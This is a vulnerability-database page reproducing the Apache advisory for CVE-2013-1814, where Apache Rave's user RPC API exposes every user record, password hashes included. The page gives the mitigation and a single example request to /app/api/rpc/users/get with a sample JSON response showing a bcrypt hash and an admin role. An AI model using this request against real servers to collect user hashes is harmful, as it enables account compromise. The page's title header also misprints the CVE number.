Apache Rave 0.11 - 0.20 - User Information Disclosure

🗓️ 01 Jul 2014 00:00:00Reported by RootType

Apache Rave 0.11 - 0.20 - User Information Disclosure CVE-2013-181

Reporter	Title	Published	Views	Family All 19
0day.today	Apache Rave 0.11 - 0.20 - User Information Disclosure Vulnerability	13 Mar 201300:00	–	zdt
Circl	CVE-2013-1814	29 May 201815:50	–	circl
CVE	CVE-2013-1814	14 Mar 201300:00	–	cve
Cvelist	CVE-2013-1814	14 Mar 201300:00	–	cvelist
d2	DSquare Exploit Pack: D2SEC_APACHE_RAVE	14 Mar 201300:55	–	d2
Exploit DB	Apache Rave 0.11 < 0.20 - User Information Disclosure	13 Mar 201300:00	–	exploitdb
exploitpack	Apache Rave 0.11 0.20 - User Information Disclosure	13 Mar 201300:00	–	exploitpack
Github Security Blog	Apache Rave information disclosure vulnerability	17 May 202205:07	–	github
Metasploit	Apache Rave User Information Disclosure	9 Jul 201319:03	–	metasploit
NVD	CVE-2013-1814	14 Mar 201300:55	–	nvd


                                                CVE-2013-1814: Apache Rave exposes User over API

Severity: Important

Vendor: The Apache Software Foundation

Versions Affected:
Rave 0.11 to 0.20

Description:
Rave returns the full user object, including the salted and hashed
password, via the User RPC API.  This endpoint is only available to
authenticated users, but will return all User objects in the database
given the correct query.

Mitigation:
All users who rely on Rave&#39;s user management capabilities should
upgrade to 0.20.1 or later.
If an upgrade is infeasible, restrict access to the /app/api/user URL
paths via Spring Security configuration or other means.

Example:
A request to:

/app/api/rpc/users/get?offset=3DOFFSET

will return the following:

{&#34;error&#34;:false,&#34;errorMessage&#34;:null,&#34;errorCode&#34;:&#34;NO_ERROR&#34;,&#34;result&#34;:{&#34;result=
Set&#34;:[{&#34;entityId&#34;:1,&#34;username&#34;:&#34;canonical&#34;,&#34;email&#34;:&#34;[email protected]&#34;,=
&#34;displayName&#34;:&#34;Canonical
User&#34;,&#34;additionalName&#34;:&#34;canonical&#34;,&#34;familyName&#34;:&#34;User&#34;,&#34;givenName&#34;:&#34;Canonic=
al&#34;,&#34;honorificPrefix&#34;:null,&#34;honorificSuffix&#34;:null,&#34;preferredName&#34;:null,&#34;abo=
utMe&#34;:null,&#34;status&#34;:&#34;Single&#34;,&#34;addresses&#34;:[],&#34;organizations&#34;:[],&#34;properties&#34;=
:[{&#34;entityId&#34;:1,&#34;type&#34;:&#34;thumbnailUrl&#34;,&#34;value&#34;:&#34;http://opensocial2.org:8080/=
collabapp/images/avatars/BillRanney.jpg&#34;,&#34;qualifier&#34;:null,&#34;extendedValue&#34;:n=
ull,&#34;primary&#34;:null,&#34;id&#34;:&#34;1&#34;}],&#34;password&#34;:&#34;$2a$10$TkEgze5kLy9nRlfd8PT1zunh6P=
1ND8WPjLojFjAMNgZMu1D9D1n4.&#34;,&#34;expired&#34;:false,&#34;locked&#34;:false,&#34;enabled&#34;:true,=
&#34;openId&#34;:null,&#34;forgotPasswordHash&#34;:null,&#34;forgotPasswordTime&#34;:null,&#34;defaultP=
ageLayout&#34;:{&#34;entityId&#34;:4,&#34;code&#34;:&#34;columns_3&#34;,&#34;numberOfRegions&#34;:3,&#34;renderSequ=
ence&#34;:3,&#34;userSelectable&#34;:true},&#34;confirmPassword&#34;:null,&#34;defaultPageLayoutCod=
e&#34;:null,&#34;authorities&#34;:[{&#34;entityId&#34;:2,&#34;authority&#34;:&#34;ROLE_ADMIN&#34;,&#34;users&#34;:[],&#34;d=
efaultForNewUser&#34;:false}],&#34;id&#34;:&#34;1&#34;,&#34;accountNonLocked&#34;:true,&#34;credentialsNonE=
xpired&#34;:true,&#34;accountNonExpired&#34;:true},
........ ],&#34;pageSize&#34;:10,&#34;offset&#34;:0,&#34;totalResults&#34;:14,&#34;numberOfPages&#34;:2,&#34;cu=
rrentPage&#34;:1}}

Credit:
This issue was discovered by Andreas Guth of RWTH Aachen University.

References:
http://tomcat.apache.org/security.html

01 Jul 2014 00:00Current

6.5Medium risk

Vulners AI Score6.5

EPSS0.83009